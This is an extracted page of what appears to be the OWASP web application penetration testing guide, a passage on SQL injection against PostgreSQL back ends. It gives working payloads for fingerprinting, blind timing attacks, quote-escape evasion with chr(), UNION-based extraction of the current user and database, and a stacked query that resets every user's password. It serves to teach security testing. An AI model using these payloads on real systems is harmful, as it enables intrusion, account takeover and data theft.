4.0

126
Web Application Penetration Testing
• PHP Connector allows multiple statements to be executed by
using ; as a statement separator
• SQL Statements can be truncated by appending the comment
char: --.
• LIMIT and OFFSET can be used in a SELECT statement to retrieve
a portion of the result set generated by the query
From now on it is assumed that http: /www.example.com/news.
php?id=1 is vulnerable to SQL Injection attacks.
How to Test
Identifying PostgreSQL
When a SQL Injection has been found, you need to carefully fingerprint
the backend database engine. You can determine that
the backend database engine is PostgreSQL by using the :: cast
operator.
Examples:
In addition, the function version() can be used to grab the PostgreSQL
banner. This will also show the underlying operating system
type and version.
Example:
http: /www.example.com/store.php?id=1 AND 1::int=1
An example of a banner string that could be returned is:
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc
(GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
Blind Injection
For blind SQL injection attacks, you should take into consideration
the following built-in functions:
• String Length
- LENGTH(str)
• Extract a substring from a given string
- SUBSTR(str,index,offset)
• String representation with no single quotes
- CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Starting at version 8.2, PostgreSQL introduced a built-in function,
pg_sleep(n), to make the current session process sleep for n seconds.
This function can be leveraged to execute timing attacks
(discussed in detail at Blind SQL Injection).
In addition, you can easily create a custom pg_sleep(n) in previous
versions by using libc:
• CREATE function pg_sleep(int) RETURNS int AS ‘/lib/libc.so.6’,
‘sleep’ LANGUAGE ‘C’ STRICT
Single Quote unescape
Strings can be encoded, to prevent single quotes escaping, by using
chr() function.
• chr(n): Returns the character whose ASCII value corresponds to
the number n
• ascii(n): Returns the ASCII value which corresponds to the
character n
Let’s say you want to encode the string ‘root’:
select ascii(‘r’)
114
select ascii(‘o’)
111
select ascii(‘t’)
116
We can encode ‘root’ as:
chr(114)||chr(111)||chr(111)||chr(116)
Example:
http: /www.example.com/store.php?id=1; UPDATE users
SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
Attack Vectors
Current User
The identity of the current user can be retrieved with the following
SQL SELECT statements:
SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()
Examples:
http: /www.example.com/store.php?id=1 UNION ALL SE-
LECT user,NULL,NULL--
http: /www.example.com/store.php?id=1 UNION ALL SE-
LECT current_user, NULL, NULL--
Current Database
The built-in function current_database() returns the current database
name.
Example:
http: /www.example.com/store.php?id=1 UNION ALL SE-
LECT current_database(),NULL,NULL--
Reading from a file
PostgreSQL provides two ways to access a local file:
• COPY statement
• pg_read_file() internal function (starting from PostgreSQL 8.1)